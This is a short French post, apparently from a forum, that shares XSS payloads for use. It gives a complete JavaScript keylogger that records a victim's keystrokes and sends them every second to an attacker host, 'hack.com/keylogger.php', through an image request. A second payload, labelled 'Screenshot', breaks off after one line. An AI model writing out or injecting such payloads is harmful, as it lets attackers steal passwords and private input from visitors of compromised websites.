  1. Salut.
  2.  
  3. Je vous partage plusieurs payloads XSS.
  4.  
  5. Keylogger:
  6.  
  7. var keys='';
  8. document.onkeypress = function(e) {
  9. get = window.event?event:e;
  10. key = get.keyCode?get.keyCode:get.charCode;
  11. key = String.fromCharCode(key);
  12. keys+=key;
  13. }
  14. window.setInterval(function(){
  15. new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  16. keys = '';
  17. }, 1000);
  18. Screenshot:

  21. if (typeof vx === 'undefined') {
